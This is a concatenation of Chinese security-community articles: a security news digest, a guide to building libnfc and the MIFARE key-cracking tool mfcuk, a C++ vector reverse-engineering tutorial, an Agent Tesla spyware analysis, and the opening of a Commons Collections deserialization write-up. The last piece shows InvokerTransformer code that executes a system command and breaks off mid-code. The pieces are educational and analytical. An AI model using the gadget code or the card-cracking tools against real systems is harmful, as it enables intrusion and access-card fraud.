/ `.Net` 使用的一组加密`Api` 。仅 `BouncyCastle` 的 `.NET` 版本就被下载了 `1600万` 次，这说明了
`BouncyCastle` 的漏洞严重性。
详情
[Bouncy Castle fixes cryptography API authentication bypass
flaw](https://www.bleepingcomputer.com/news/security/bouncy-castle-fixes-cryptography-api-authentication-bypass-flaw/)
### SoReL-20M:一个包含2000万个恶意软件样本的数据集
日期: 2020年12月14日
等级: 中
作者: The Hacker News
标签: Sophos, ReversingLabs, Dataset, Malware Samples
“SoReL-20M”是一个数据集，包含用于2000万个 `Windows.PE` 文件的元数据，标签和功能。网络安全公司 `Sophos`和
`ReversingLabs`
在2020年12月14日联合发布了“SoReL-20M”。这是有史以来第一个生产规模的恶意软件研究数据集，该数据集将提供给公众，旨在建立有效的防御措施并推动整个行业在安全检测和响应方面的改进。
详情
[SoReL-20M: A Huge Dataset of 20 Million Malware Samples Released
Online](https://thehackernews.com/2020/12/sorel-20m-huge-dataset-of-20-million.html)
### 严重的Golang XML解析器漏洞可以绕过SAML身份验证
日期: 2020年12月14日
等级: 中
作者: Ax Sharma
标签: Mattermost, Golang, Vulnerability, SAML, XML
2020年12月14日， `Mattermost` 与 `Golang` 协作，揭示了 `Go` 语言的 `XML` 解析器中的3个严重漏洞。
如果攻击者成功利用这些漏洞，会影响多个基于Go的SAML实现，能够绕过SAML的身份验证。 由于这些漏洞，基于Go的 `SAML`
实现在许多情况下容易被攻击者篡改，比如通过向正确签名的 `SAML` 消息注入恶意标记，可以伪造正确签名。
详情
[Critical Golang XML parser bugs can cause SAML authentication
bypass](https://www.bleepingcomputer.com/news/security/critical-golang-xml-parser-bugs-can-cause-saml-authentication-bypass/)
### 苹果修复了iOS和iPadOS中的多个代码执行漏洞
日期: 2020年12月15日
等级: 中
作者: Pierluigi Paganini
标签: Apple, iOS, iPadOS, Code Execution, Security Updates, Vulnerability
苹果发布了安全更新，以修复其iOS和iPadOS操作系统中的多个严重的代码执行漏洞。
苹果在安全更新中发布了iOS14.3和iPadOS14.3版本，以解决11个安全漏洞，包括代码执行漏洞等。 攻击者能够利用这些严重的漏洞，通过恶意字体文件在
`iPhone` 和 `iPad` 上执行恶意代码。这些漏洞的编号包含 `CVE-2020-27943` 和 `CVE-2020-27944` 等。
详情
[Apple addressed multiple code execution flaws in iOS and
iPadOS](https://securityaffairs.co/wordpress/112304/security/ios-ipados-flaws.html)
### 研究人员把RAM变成WiFi卡，从未联网的系统中窃取数据
日期: 2020年12月15日
等级: 中
作者: Catalin Cimpanu
标签: RAM, WiFi, Air-gapped Systems, AIR-FI
以色列一所大学的学者2020年12月15日发表了一项新的研究，详细介绍了一项技术，该技术可以将RAM卡转换成临时的WIFI发射器，并在没有WiFi的，未联网的计算机内传输敏感数据。
该技术名为AIR-FI，是以色列内盖夫本古里安大学研发部负责人 `MordechaiGuri` 发现的。
在过去的五年里，Guri领导了数十个研究项目，通过非常规的方法从未联网的系统中窃取数据。
详情
[Academics turn RAM into WiFi cards to steal data from air-gapped
systems](https://www.zdnet.com/article/academics-turn-ram-into-wifi-cards-to-steal-data-from-air-gapped-systems/)
### Facebook因欺诈性VPN行为被ACCC告上法庭
日期: 2020年12月16日
等级: 中
作者: Chris Duckett
标签: ACCC, Facebook, Onavo Protect VPN, Court
澳大利亚竞争与消费者委员会（ACCC）已在澳大利亚联邦法院对 `Facebook` 及其两家子公司提起诉讼，指控这些公司在推广
`OnavoProtectVPN` 应用程序时具有虚假，误导或欺骗性行为。 ACCC声称，在2016年2月1日至2017年10月之间， `Facebook`
及其子公司 `FacebookIsraelLtd` 和`Onavo，出于商业利益而收集并使用了大量用户数据。
详情
[Facebook dragged to court by ACCC over deceptive VPN conduct
allegations](https://www.zdnet.com/article/facebook-dragged-to-court-by-accc-over-deceptive-vpn-conduct-allegations/)
### 美国航空监管机构发布了安全更新
日期: 2020年12月16日
等级: 中
作者: Gareth Corfield
标签: Boeing, FAA, Software Updates
波音747客机、波音787客机和波音777客机的软件更新修复了一些漏洞，这些漏洞影响了飞行的安全性，并导致美国联邦航空局（FAA）向飞行员发布警告。
波音777和波音787自动油门系统的安全更新改变了系统的运行方式。
详情
[US aviation regulator issues safety bulletins over flaws in software updates
for Boeing 747, 777, 787 airliners • The
Register](https://www.theregister.com/2020/12/16/boeing_software_updates_faa_warning/)
### 相关安全建议
1\. 及时对系统及各个服务组件进行版本升级和补丁更新
2\. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
3\. 受到网络攻击之后，积极进行攻击痕迹、遗留文件信息等证据收集
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn)，通过资产测绘技术的方式，对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 特制报告下载链接
一直以来，360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务，现360CERT正式推出安全通告特制版报告，以便用户做资料留存、传阅研究与查询验证。
用户可直接通过以下链接进行特制报告的下载。
[安全事件周报 (12.14-12.20)](http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E5%AE%89%E5%85%A8%E4%BA%8B%E4%BB%B6%E5%91%A8%E6%8A%A5_12%E6%9C%8814%E6%97%A5-12%E6%9C%8820%E6%97%A5.pdf)
若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ，并附上您的 公司名、姓名、手机号、地区、邮箱地址。 | 社区文章 |
自己在淘宝上买了PN532模块和USB-TTL，用我祖传的手工技术粘了一个， ~~结果粘歪了~~
# 工具准备
* [TDM-GCC](http://tdm-gcc.tdragon.net/download "TDM-GCC")
* [pcre 7.0 for windows](https://sourceforge.net/projects/gnuwin32/files/pcre/7.0/ "pcre 7.0 for windows")
* [Libnfc-1.7.1](https://github.com/nfc-tools/libnfc/releases "Libnfc-1.7.1")
* [libusb-1.2.6.0](https://sourceforge.net/projects/libusb-win32/ "libusb-1.2.6.0")
* [CMake Windows](https://cmake.org/download/ "CMake Windows")
* [Doxygen](www.doxygen.nl/ "Doxygen")
将 TDM-GCC 安装到 C:\TDM-GCC、pcre、libnfc、libusb 等放到 D:\Tools 目录下、CMake 和 Doxygen
直接安装即可，自己编译的时候指定目录即可。
编译时的目录结构如下：
**注:libnfcbuild目录为输出的二进制文件目录**
为了能顺利编译，我们需要修改一下代码：
打开 libnfc-1.7.1 目录下面的 CMakeLists.txt，然后找到：
MACRO (GET_CURRENT_YEAR RESULT)
EXECUTE_PROCESS(COMMAND "cmd" " /C date /T" OUTPUT_VARIABLE ${RESULT})
STRING(REGEX REPLACE ".*(..)/(..)/(....).*" "\\3" ${RESULT} ${${RESULT}})
ENDMACRO (GET_CURRENT_YEAR)
改为：
MACRO (GET_CURRENT_YEAR RESULT)
EXECUTE_PROCESS(COMMAND "cmd" " /C date /T" OUTPUT_VARIABLE ${RESULT})
STRING(REGEX REPLACE "\n" "" ${RESULT} ${${RESULT}})
STRING(REGEX REPLACE ".*(..)/(..)/(....).*" "\\3" ${RESULT} ${${RESULT}})
ENDMACRO (GET_CURRENT_YEAR)
接下来打开 libnfc-1.7.1\libnfc 下面的 nfc-internal.c 文件，找到：`res->allow_intrusive_scan
= false;`
改成`true`后保存
# 配置参数
启动 CMake，上面的第一行选择为刚刚的 libnfc-1.7.1 目录，binaries 目录选择为 Tools 文件夹下面的 libnfcbuild
目录，然后点击 Configure。
此时会弹出一个窗口提示你选择编译环境，选择`MinGW`，然后点击 Finish
这个时候等待 GCC 处理完毕，你会看到一个错误对话框，点击 OK。
很明显是缺库了，进行调整：
`CMAKE BUILD TYPE` 改为 Release（当然 Debug 也可以）；`CMAKE_INSTALLPREFIX` 修改为刚刚我创建的
`libnfcbuild` 目录，`LIBNFC_SYSCONFDIR` 请在刚刚的 `libnfcbuild` 目录下面手动建立一个 `config`
目录，并选择它。
将 `PCREBINDIRS` 修改为 pcre-7.0 目录下面的 bin 目录，`INCLUDEDIRS` 同理
`PCRE_LIBRARIES` 修改为 `pcrelib` 目录下面的 `libpcre_dll.a`
然后再次点击 Configure，出现新的参数：
由于我只使用 `PN532`，所以只保留 PN532 UART 选项，如果你是用 ACR122u 等读写器，可以进行对应的修改
将 `LIBUSB_INCLUDE_DIRS` 改为你 libusb-win32 目录下面的 include 目录，`LIBRARIES` 修改为
lib\gcc\libusb.a 文件（如果你使用其它编译器，选择对应的即可）最后再点击一次 Configure，如果没有什么差错的话，就会提示
Configuring Done 了。
# 正式编译
启动 CMD，进入刚刚的 libnfcbuild 目录，执行 C:\TDM-GCC-64\bin\mingw32-make.exe 即可，等待编译结束
编译完成了，开始整理文件：
进入 libnfcbuild 目录的 examples 文件夹，复制出所有的 EXE 文件到一个新文件夹
再进入 utils 目录，同样复制出所有的 EXE 文件
然后解决DLL依赖：
将 libusb-win32-bin-1.2.6.0\bin\x86 下面的 libusb0_x86.dll 改名为 libusb0.dll
pcre-7_0\bin 下面的 pcre3.dll
将 libnfcbuild\libnfc 目录下面的 libnfc.dll 也复制过来
最终成品大概就是这样：
# 测试
插上你的 PN532，并安装好 CP2103 驱动程序（[USB to UART Bridge VCP
Drivers](https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers "USB to UART Bridge VCP Drivers")），执行 nfc-list.exe，并放一张卡片在上面
可以看到成功的打开了端口并识别出了PN532，并且读出了卡片的信息
* * *
# 编译 mfcuk
> MFCUK （MiFare Classic Universal toolKit） 是一款基于 dackside 攻击原理破解全加密 M1
> 卡的开源软件，mfcuk 通过算法的漏洞破解出第一个 key，如果某个扇区的 key 被破解出来，就可以再使用 mfoc 工具使用 nested
> authentication 攻击破解其他扇区的密码。
可以从这里获取源码：<https://github.com/nfc-tools/mfcuk>
在编译前你需要安装 MSYS2 MinGW，然后切为国内的镜像源，可参考：[Tsinghua Open Source
Mirror](https://mirrors.tuna.tsinghua.edu.cn/help/msys2/ "Tsinghua Open Source
Mirror") 或 [MSYS2 镜像使用帮助
[LUG@USTC]](https://lug.ustc.edu.cn/wiki/mirrors/help/msys2 "MSYS2 镜像使用帮助
\[LUG@USTC\]")
启动MSYS2，安装软件包：
`pacman -S mingw-w64-x86_64-gcc make automake mingw-w64-x86_64-gcc cmake git`
下载 mfcuk 源码并解压到目录里面进入目录，输入 autoreconf -is，然后 ./configure
提示缺少 libnfc，我们将之前 libnfctools\nfclib 目录下面的 `libnfc.dll.a` 改名为 `libnfc.a`，复制到你的
MSYS2 安装目录下面 mingw32\lib 目录下面
接下来，在MSYS2手动创建一个 sys 目录：`mkdir /sys`
下载一个文件头b并将其复制到 sys
目录下面：<https://github.com/lattera/glibc/blob/master/string/endian.h>
回到 MSYS2 终端，使用下面的命令进行生成：
`LIBS=/mingw32/lib/libnfc.a ac_cv_header_endian_h=/sys/endian.h ./configure
PKG_CONFIG=:`
在 mfcuk 目录下面的 src 文件夹里面建立一个 nfc 目录，找到 libnfc-1.7.1 源码的目录，进入 include\src
文件夹，找到这三个头文件，复制到你 mfcuk\src 文件夹下面的 nfc 目录中。
然后再将 libnfc\contrib\win32 下面的 err.h 放到你 mfcuk 的 src 文件夹下面：
最后开始编译：
`LIBS=/mingw32/lib/libnfc.a ac_cv_header_endian_h=/sys/endian.h make`
在 src 目录找到生成的 mfcuk.exe，放到和 libnfc.dll 一个目录中运行一下看看:
* * *
参考资料：
[Libnfc-1.6.0在Windows下的编译过程](http://smartfire.cn/thread-501-1-1.html
"Libnfc-1.6.0在Windows下的编译过程")
[在Windows下编译支持ACR122U的libnfc](https://fanzheng.org/archives/29
"在Windows下编译支持ACR122U的libnfc")
[Installing libnfc on Windows and create executables and
libnfc.dll](https://www.mobilefish.com/developer/libnfc/libnfc.html
"Installing libnfc on Windows and create executables and libnfc.dll") | 社区文章 |
现在的逆向C++题越来越多，经常上来就是一堆容器、标准模板库，这个系列主要记录这些方面的逆向学习心得
本文主要介绍`std::vector`，因为逆向题中的C++代码可能会故意写的很绕，比如输入一个数组，直接给`vector`赋值即可，但是也可以用稍微费解的方法`连续push_back()`，也算是一种混淆的手段，文章中的示例会逆向一些故意写的繁琐的程序
# vector
## 内存布局
仍然用vs调试，观察内存布局
`vector a`的第一个字段是`size 大小`第二个字段是`capacity 容量`
和`std::string`差不多
当`size>capacity`也就是空间不够用时
首先配置一块新空间，然后将元素从旧空间一一搬往新空间，再把旧空间归还给操作系统
## 内存增长机制
测试代码：
#include<iostream>
#include<vector>
using namespace std;
int main(int argc, char** argv) {
std::vector<int> a;
int num[16];
for (int i = 0; i < 100; i++) {
a.push_back(i);
std::cout << "size : " << i+1 << "\t" << "capacity : " << a.capacity() << std::endl;
}
system("pause");
return 0;
}
//visual studio 2019 x64
运行结果：
可以看到，后面的增长速度和`std::string`一样是1.5倍扩容，一开始有点差别，分析一下源码
else if (max_size() - size() < _Count)
//可以申请的最大容量也不够用，抛出异常_THROW(length_error, "vector<T> too long");
_Xlen();
else if (_Capacity < size() + _Count){//空间不足，需要扩容
_Capacity = max_size() - _Capacity / 2 < _Capacity
? 0 : _Capacity + _Capacity / 2; // 尝试扩容1.5倍
if (_Capacity < size() + _Count)//扩容1.5倍后依然不够用，则容量等于当前数据个数加上新增数据个数
_Capacity = size() + _Count;
pointer _Newvec = this->_Alval.allocate(_Capacity);//申请新空间
pointer _Ptr = _Newvec;
_TRY_BEGIN
_Ptr = _Umove(_Myfirst, _VEC_ITER_BASE(_Where),
_Newvec); //move原先的数据
_Ptr = _Ucopy(_First, _Last, _Ptr); //copy新增的数据到新内存之后
_Umove(_VEC_ITER_BASE(_Where), _Mylast, _Ptr);
_CATCH_ALL
_Destroy(_Newvec, _Ptr);
this->_Alval.deallocate(_Newvec, _Capacity);//释放原来申请的内存
_RERAISE;
_CATCH_END
...
详见注释，注意这句`扩容1.5倍后依然不够用，则容量等于当前数据个数加上新增数据个数`，也就解释了一开始的增长是`1 2 3 4`的原因
### 调试
具体调试一下，当`push_back`(0)和(1)时：
注意一开始的内存窗口，每次动态扩容时确实已经改变了存储空间的地址
再F5执行到断点，内存窗口的`红色`说明这块内存刚动过，已经被操作系统回收了，`vector`中的元素也已经改变了存放地址
## accumulate
上次写西湖论剑`easyCpp`的探究时有朋友说再举一些`std::accumulate`的例子...
> 关于用`std::accumulate + lambda`反转`vector`，在上一篇文章已经写过了
>
> [西湖论剑初赛easyCpp探究](https://xz.aliyun.com/t/4880)
在这边就算是补个例子
#include<iostream>
#include<vector>
#include<algorithm>
#include<numeric>
using namespace std;
int main(int argc, char** argv) {
std::vector<int> v(5);
for (int i = 0; i < 5; i++) {
std::cin >> v[i];
}
int sum = std::accumulate(v.begin(), v.end(), 0,
[](int acc, int _) {return acc + _; });
std::cout << sum;
return 0;
}
//visual studio 2019 x64
`std::accumulate`对一个容器进行 **折叠** ，并且是 **左折叠** ，对其进行 **一元操作** ，实例中为`lambda +`
因为 **迭代器** 可以看作是 **容器** 与 **算法**
的中间层，这也是STL的设计哲学，因此传入的是`vector`的`begin()`和`end()`
在"循环"的内部，通过判断 **当前迭代器是否到达末尾** 得到是否结束循环的信息，形如：
for(vector<int>::const_iterator iter=ivec.begin();iter!=ivec.end();++iter){
/*...*/
}
### IDA视角
IDA中打开，因为是windows下vs编译的，看不出`vector`和`accumulate`和`lambda`的特征了
分析一下，开了一块内存0x14字节，也就是对应我们的5个int
依次输入赋值，最后用一个指针++遍历这个地址
获得累加和并输出
## transform
换个稍复杂的`std::transform`的例子，保留特征，用g++编译
#include<iostream>
#include<vector>
#include<algorithm>
#include<numeric>
using namespace std;
int main(int argc, char** argv) {
std::vector<int> a = { 1,2,3,4,5};
std::vector<int> b(5);
std::vector<int> result;
for (int i = 0; i < 5; i++) { std::cin >> b[i]; }
std::transform(a.begin(), a.end(), b.begin(), std::back_inserter(result),
[](int _1, int _2) { return _1 * _2; });
for (int i = 0; i < 5; i++) {
if (result[i] != 2 * (i + 1)) {
std::cout << "You failed!" << std::endl;
exit(0);
}
}
std::cout << "You win!" << std::endl;
return 0;
}
//g++ main.cpp -o test -std=c++14
用`std::transform`同时对两个列表进行操作，输入5个数存入`vector b`中，然后`vector
result`分别是`a[i]*b[i]`，最后判断`result`中的每个数是否符合要求
> 注意，`vector b`大小一定要超过`vector a`，从参数中也可以看出来，`b`只传入了`begin()`
>
> 如果`vector b`较小，后面的内存存放的是未知的数据
>
> 会造成未定义行为 UB
### IDA视角
IDA打开可以看到`vector`相关代码，但是命名很乱，根据`std::transform` **二元操作符** 的特征我们可以更改一下变量名
我们定义的`vector{1,2,3,4,5}`在内存中如下
跟进`std::transform`
一眼注意到最关键的`lambda`，其他都是`operator* = ++`等重载的迭代器相关的操作符
熟悉`transform`的话显然没有需要我们关注的东西
`lambda`中也只是我们实现的简单乘法运算
算法很简单，只要输入5个2就会得到`win`了
## vector存vector
这个程序写的有点...没事找事，用于再深入分析一下
> 比如输入10个数，分别放入size为1 2 3 4的四个vector，并且把4个vector一起放在一个vector中,再进行运算
> 虽然正常程序不会这么写，但是作为逆向的混淆感觉效果不错
#include<iostream>
#include<vector>
#include<algorithm>
#include<numeric>
using namespace std;
int main(int argc, char** argv) {
std::vector<std::vector<int>> a;
a.push_back(std::vector<int>{1, 2, 3});
a.push_back(std::vector<int>{6, 7});
for (auto v : a) {
for (auto n : v) {
std::cout << n << "\t";
}
std::cout << std::endl;
}
return 0;
}
//g++ main.cpp -std=c++14 -o test
### 内存结构
为了方便说明，仍然在vs下观察内存结构
一开始纠结了很久，因为`vector`开的内存必定是连续的，也就是说`{1,2,3}`是连续的，`{6,7}`也是连续的
那么外层`vector`如果把`{1,2,3},{6,7}`存在一起，那么当内层`vector`扩容时，一定会影响到外层`vector`
最后才明白，外层`vector`只是存了内层`vector`的数据结构，而不是直接存了`{1,2,3},{6,7}`
### IDA视角
IDA打开g++编译过后的程序，便于学习演示
结合注释和变量的重命名，逻辑比较清晰
`vector_vector<vector<int> >.push_back(&vec1)`
> 可以理解为外层`vector`存了内层`vector`的"指针"
输出部分：
稍微有些不理解，看起来两个内层`vector`的迭代器之间有一些优化
`vec1 =
end(vec2_addr)`，这一句没怎么看懂，因为上传附件经常丢失...没有上传例程，通过源码编译比较简单，大佬们有兴趣可以试着逆一下逻辑
不过主线还是清晰的
* 外层`vector`的迭代器`operator ++`和`operator !=`
* 双层循环，内层循环分别得到每个内层`vector`的`*iterator`，通过`ostream`输出
## 小总结
`vector`中连续内存里存的是 **类型的数据结构** ，比如`int`的数据结构，`vector<int>`的数据结构
但无论如何，每个`vector`用于存数据的内存都是连续的
比如 `{1,2,3}`,`vector<int>{1,2},vector<int>{3,4,5}`这两个`vector` | 社区文章 |
# 分析Agent Tesla间谍软件新型变种
|
##### 译文声明
本文是翻译文章，文章原作者 Xiaopeng Zhang ，文章来源：www.fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
FortiGuard实验室最近捕获到了借助Microsoft Word文档传播的新款恶意软件样本，经过快速研究，我发现这是Agent
Tesla间谍软件的一款新型变种。去年6月份时我曾经分析过这种间谍软件的另一个样本，发表过一篇分析[文章](https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html)。在本文中，我想与大家分享一下这款变种的新增功能。
这款恶意软件借助Microsoft Word文档进行传播，文档中内嵌了一个exe文件。当用户打开Word文档时，可以看到如下信息：
图1. 打开恶意Word文档
如上图所示，文档要求用户双击蓝色图标，启用“清晰视图”。一旦用户被误导，恶意文档就会从内嵌的对象中提取出一个exe文件，将其释放到系统的临时目录中，然后运行这个程序。在本文分析的样本中，这个exe文件名为`POM.exe`。
图2. 在临时目录中创建的POM.exe
## 二、分析POM.exe
图3. 使用分析工具观察POM.exe
在图3中，我们可以看到恶意软件的开发语言为MS Visual
Basic。根据我的分析，这是一种安装程序。当程序运行时，会将两个文件（`filename.exe`以及`filename.vbs`）释放到`%temp%subfolder`目录中。程序会在运行`filename.vbs`后自动退出，`filename.vbs`的具体内容如图4所示：
图4. filename.vbs具体内容
为了在系统启动时能自动运行，恶意脚本会将自己以启动程序形式添加到系统注册表中，然后再运行`%temp%filename.exe`。
图5. 恶意软件将自身添加到系统注册表的`RunOnce`键值中
## 三、分析filename.exe
与其他大多数恶意软件类似，`filename.exe`启动时会创建具有相同名称的、处于挂起状态的子进程来保护自己，然后从程序的资源区中提取一个新的PE文件，覆盖子进程的内存空间，完成这些步骤后再恢复子进程的执行流程。恶意软件通过这种方式来执行新PE文件代码，新PE文件是该恶意软件的主要组成部分。
图6. 恶意软件检查mscorjit.dll模块是否已加载
接来下继续分析一下子进程。子进程首先会检查`Cor_Enable_Profiling`环境变量是否设置为1、`mscorjit.dll`以及`clrjit.dll`模块是否已加载（如图6所示）。如果上述条件满足其一，则会直接退出运行，不做任何处理。目前为止我并不清楚恶意软件为何这么做，可能是想规避某些东西。
如果进程没有退出执行，则会加载一个指定的资源。该资源名称为`__`，解码自一个本地变量。随后，进程会调用`FindResource`以及`LoadResource`
API函数，将资源数据读取到进程的内存空间中。我们可以使用CFF
Explorer工具查看`__`资源，如图7所示。直接查看的话，我们发现这段数据经过加密处理。
图7. 经过加密处理的`__`资源
解密`__`数据后，我们可以得到另一个PE文件，这是一个.Net程序，会被恶意软件加载到子进程内存空间中。恶意软件会根据PE文件头信息，将.Net程序的区段（section）数据读入内存中，导入.Net程序导入表中定义的API，重新定位`_CorExeMain`函数的偏移，然后调用多个API来构建.Net运行环境。最后，恶意软件会跳转到.Net程序的入口点，然后再跳转到`_CorExeMain`函数（这是所有.Net程序的入口点）来执行这个.Net程序。如图8所示，我们可以了解到恶意软件如何跳转到`_CorExeMain`函数：
图8. 跳转到.Net程序的入口点
为了进一步分析这个.Net程序，我从子进程的内存空间中提取出相应数据，将其导出为一个本地文件。这样我就可以直接运行这个程序，无需依赖于这个子进程。我也可以将其载入.Net程序分析工具中，分析起来更加方便。
## 四、深入分析.Net程序
导出文件的PE头并不正确，我手动修复了头部信息，使程序能够被正确执行、调试以及被.Net程序分析工具分析。使用分析工具分析这款.Net程序后，我们可以看到程序的主函数，如图9所示：
图9. .Net程序的主函数
大家可能会注意到一点，该程序采用了代码混淆技术，试图增加代码分析的复杂度。在下文中，我修改了某些方法、类、变量等的名称，以便大家更好地理解程序代码。
.Net程序中的所有常量字符串都经过编码处理，保存在一个大型缓冲区中，每个字符串都对应一个具体的索引值。如果程序需要使用某个字符串，则会使用字符串索引来调用某个函数，以获取正确的字符串。如果字符串经过编码处理，则会递交给另一个函数进行解码。在图10中，我们可以看到程序将大型字符串读入一个大缓冲区中（`Pkky9noglfauhKN1Fjq.QOZ4uWBaWw`）。
以`XtL6rF5GoidQVxdCxi.R6ybT342I(Pkky9noglfauhKN1Fjq.Y3LpEpC6nY(3172));`为例，其中`3172`为字符串的索引，`Pkky9noglfauhKN1Fjq.Y3LpEpC6nY`函数会从大缓冲区的`3172`索引处提取处字符串，在这个样本中，该字符串为`hyNN5z+7qAsS695lDXLuHg==`。
解码函数为`XtL6rF5GoidQVxdCxi.R6ybT342I`。解码完毕后，我们可以得到一个字符串`Truex00x00x00x00x00x00x00x00`，即`True`。
图10. 从大缓冲区中读取字符串
主函数被调用时，会先调用`Thread::Sleep()`函数休眠15秒，这样有可能会绕过沙箱检测技术。
在我前一篇分析[博客](https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html)中，Agent
Tesla是一款间谍软件。该软件会监控并收集受害者的键盘输入、系统剪贴板、屏幕截图信息，也会收集已安装的各种软件的凭据。为了完成这个任务，该软件会在主函数中创建许多线程以及计时器函数。到目前为止，根据我的分析这款变种与老版本恶意软件类似。由于我并没有发现特别多的变化点，因此本文不会详细讨论这方面内容，如有需要大家可以回头看前一篇文章。
然而，该样本将数据提交给C&C服务器的方式有所改变。之前的样本采用HTTP
POST请求将收集到的数据发送给服务器，现在这款变种使用的是SMTPS协议，将收集到的数据发送给攻击者的电子邮箱。
根据我的分析，恶意软件在SMTP方法中用到了多种命令，包括“Passwords Recovered（密码恢复）”、“Screen
Capture（屏幕截图）”以及“Keystrokes（键盘记录）”等。恶意软件通过电子邮件的“Subject（主题）”字段来识别具体命令。比如：
“ _System user name_ / _computer name_ Screen Capture From: _victim’s IP_ ”
举个例子，我们来看一下恶意软件如何将收集到的凭据信息发送给攻击者的邮箱地址。比如，恶意软件会将我的主机信息以及收集到的凭据信息添加到邮件内容中，如图11所示。恶意软件启用SSL功能，使用了TCP
587端口。邮件的“Body”字段为收集到的数据，采用HTML格式。“Subject”字段包含“Passwords
Recovered”命令，这样收件人就能理解该邮件包含一些凭据信息。
图11. 包含已收集数据的电子邮件
攻击者注册了免费的zoho邮箱账户以收取受害者的凭据信息。如图12所示，我们可以看到相应的SMTP服务器以及登录信息，包括攻击者的SMTP
“UserName（用户名）”以及“Password（密码）”。
图12. 攻击者的SMTP凭据
当邮件发送时，我们可以使用Wireshark工具捕捉到相应的数据包，如图13所示。
图13. 使用SMTPS协议提交收集到的数据
前面提到过，邮件正文所包含的数据采用HTML格式。我将这段内容拷贝到一个html文件中，使用IE浏览器打开该文件，观察恶意软件从我的测试环境中具体收集了哪些信息，我发现其中包括主机信息以及IE浏览器的凭据信息。
## 五、守护程序
恶意软件也会从.Net程序的`Player`资源区中提取一个守护程序，释放到`%temp%`目录中，避免`filename.exe`结束运行。
图14. 释放并运行守护程序
守护程序的名称包含3个随机字母，如图14所示。该程序也是一个.Net程序，主要目的非常简单明确。在分析工具中，我们可以看到守护程序的完整代码，如图15所示。
图15. 守护程序代码
从上图可知，守护程序的主函数接受一个命令行参数（对于该样本，这个参数为`filename.exe`的完整路径），将其保存到`filePath`这个字符串变量中，然后在线程函数中每隔900毫秒检查一次`filename.exe`是否正在运行，一旦`filename.exe`结束运行则再次启动这个程序。
## 六、解决方案
FortiGuard反病毒服务已经将`PPSATV.doc`恶意文档标记为`W32/VBKrypt.DWSS!tr`，将`POM.exe`标记为`W32/VBKrypt.DWSS!tr`。
此外，我们也向Zoho通报了此次Agent Tesla攻击活动中所使用的恶意邮箱账户。
## 七、IoC
样本SHA256值如下：
PPSATV.doc
13E9CDE3F15E642E754AAE63259BB79ED08D1ACDA93A3244862399C44703C007
POM.exe
A859765D990F1216F65A8319DBFE52DBA7F24731FBD2672D8D7200CC236863D7
filename.exe
B4F81D9D74E010714CD227D3106B5E70928D495E3FD54F535B665F25EB581D3A
使用随机名称的守护程序
C2CAE82E01D954E3A50FEAEBCD3F75DE7416A851EA855D6F0E8AAAC84A507CA3 | 社区文章 |
`先知安全技术社区独家发文，如需转载，请先联系社区授权；未经授权请勿转载`
## 前言:
玄铁重剑，是金庸小说笔下第一神剑。由「玄铁」制成，重八八六十四斤；由「剑魔」独孤求败所使，四十岁前持之无敌于天下。
独孤求败逝去后为杨过所得，并由独孤求败的「朋友」神雕引导，之后在神雕的指导下，也根据独孤求败的独门秘籍及练功方法，练成了一身天下无敌的剑法及内功心法。
## 主角:
CommonsCollection, commons-collections.jar
## 介绍:
Java Collections Framework 是JDK
1.2中的一个重要组成部分。它增加了许多强大的数据结构，加速了最重要的Java应用程序的开发。从那时起，它已经成为Java中集合处理的公认标准。官网介绍如下:
Commons Collections使用场景很广，很多商业,开源项目都使用到了commons-collections.jar。
很多组件，容器，cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons
Collections反序列被披露事件有关。
## 正文:
光是在ysoserial中，Commons
Collections反序列化漏洞就被分成了4组，分别是CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,关于CommonsCollection的分析，由于篇幅过长，笔者会将其分为上下两篇。
CommonsCollections1是目测现在网上被分析的最多的一篇文章了吧，随便搜索一下，就可以看到很多分析的文章。我这里整理几篇分析比较经典的文章，如果你想深入了解，强烈建议静下心来好好阅读一番。<http://wooyun.jozxing.cc/static/drops/papers-10467.html>
<https://security.tencent.com/index.php/blog/msg/97>
在org.apache.commons.collections.functors.InvokerTransformer.java的位置，其transform函数内容如下:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
在这个函数中，调用了java反射机制，下面写一个正常的例子测试一下:
InvokerTransformer invokerTransformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{new String("sb")});
Object result = invokerTransformer.transform(new StringBuffer("who am i")) ;
System.out.printf(result.toString());
有些朋友会想，那么我该如何去执行命令呢？java常见执行命令的方式有两个，分别是 new
processBuilder(cmd).start()和Runtime.getRuntime().exec(cmd)。我们可以构造如下代码:
运行下面这段代码可以弹出计算器，mac下
String[] cmds = new String[]{"open", "/Applications/Calculator.app/"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
